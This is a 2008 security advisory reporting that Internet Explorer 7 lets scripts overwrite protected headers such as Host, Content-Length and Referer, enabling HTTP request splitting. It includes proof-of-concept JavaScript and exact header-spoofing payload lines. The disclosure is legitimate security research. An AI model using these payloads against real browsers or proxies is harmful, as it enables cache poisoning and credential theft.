[MSA02240108] IE7 allows overwriting of several headers leading to Http request Splitting and smuggling.
MSA01240108:
IE7 allows overwriting of several headers leading to Http
request Splitting and smuggling.
Date: March 21th, 2008
Tested Versions:
Internet Explorer 7.0.5730.11
Tested OS:
Windows XP Professional SP2 Italian
Minded Security ReferenceID:
MSA02240108
Credits:
Discovery by
Stefano Di Paola of Minded Security
stefano.dipaola [_at_] mindedsecurity.com
Permalink:
http://www.mindedsecurity.com/MSA02240108.html
Severity: Medium/High
[ Summary ]
Internet Explorer 7 allows overwrite of headers such Content-Length,
Host and Referer, exposing the browser to Http Request Splitting.
[ Analysis ]
By trying the following javascript - or similar:
----------------------------------------------
var x=new XMLHttpRequest();
x.open("POST","/");
for(f=127;f<255;f++)
try{
x.setRequestHeader("Host"+String.fromCharCode(f),"Test");
}catch(dd){}
x.setRequestHeader("Connection","keep-alive");
x.onreadystatechange=function (){
if (x.readyState == 4){
}
}
x.send("blah");
----------------------------------------------
Headers found to be overwritable are:
- Content-Length (one of the following):
x.setRequestHeader("Content-Length"+String.fromCharCode(201),"0");
x.setRequestHeader("Content-Length"+String.fromCharCode(233),"0");
x.setRequestHeader("Content-Length"+String.fromCharCode(240)
+String.fromCharCode(213),"0");
- Host (one of the following):
x.setRequestHeader("Host"+String.fromCharCode(223),
"www.microsoft.com");
- Referer (one of the following):
x.setRequestHeader("Referer"+String.fromCharCode(205)+
String.fromCharCode(155),"http://www.referrer.tld";);
x.setRequestHeader("Referer"+String.fromCharCode(237)+
String.fromCharCode(155),"http://www.referrer.tld";);
Several combination of characters > 127 were found to work, this
means that the chars listed above are only a working subset.
The effects of those issues are quite understandable from a security
point of view (see references):
1. Proxy cache poisoning
2. Credential stealing
3. several other attacks..
My understanding about the issue is that there's some
ascii-to-utf-8 / utf-8-to-ascii error which leads to some kind of
bypass when checking header names against protected ones.
[ Credits ]
Stefano di Paola is credited with the discovery of this vulnerability.
[ Thanks ]
To Amit Klein for his valuable research.
[ Disclosure Timeline ]
25/01/2008 Initial vendor notification
25/01/2008 Vendor Confirmed
21/03/2008 Public advisory
[ Reference ]
[1] "Http Request Smuggling", Chaim Linhart, Amit Klein, Ronen
Heled, Steve Orrin, 2005.
http://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf
[2] "Exploiting the XmlHttpRequest object in IE - Referrer spoofing,
and a lot more...", Amit Klein, 2005.
http://www.securityfocus.com/archive/1/411585
[3] "HTTP Header Injection Vulnerabilities in the Flash Player
Plugin", 2006.
http://download2.rapid7.com/r7-0026/
[4] "Auto Injecting Cross Domain Scripting", pp 6-7, Stefano Di Paola,
Giorgio Fedon, 2007
http://www.wisec.it/docs.php?id=4
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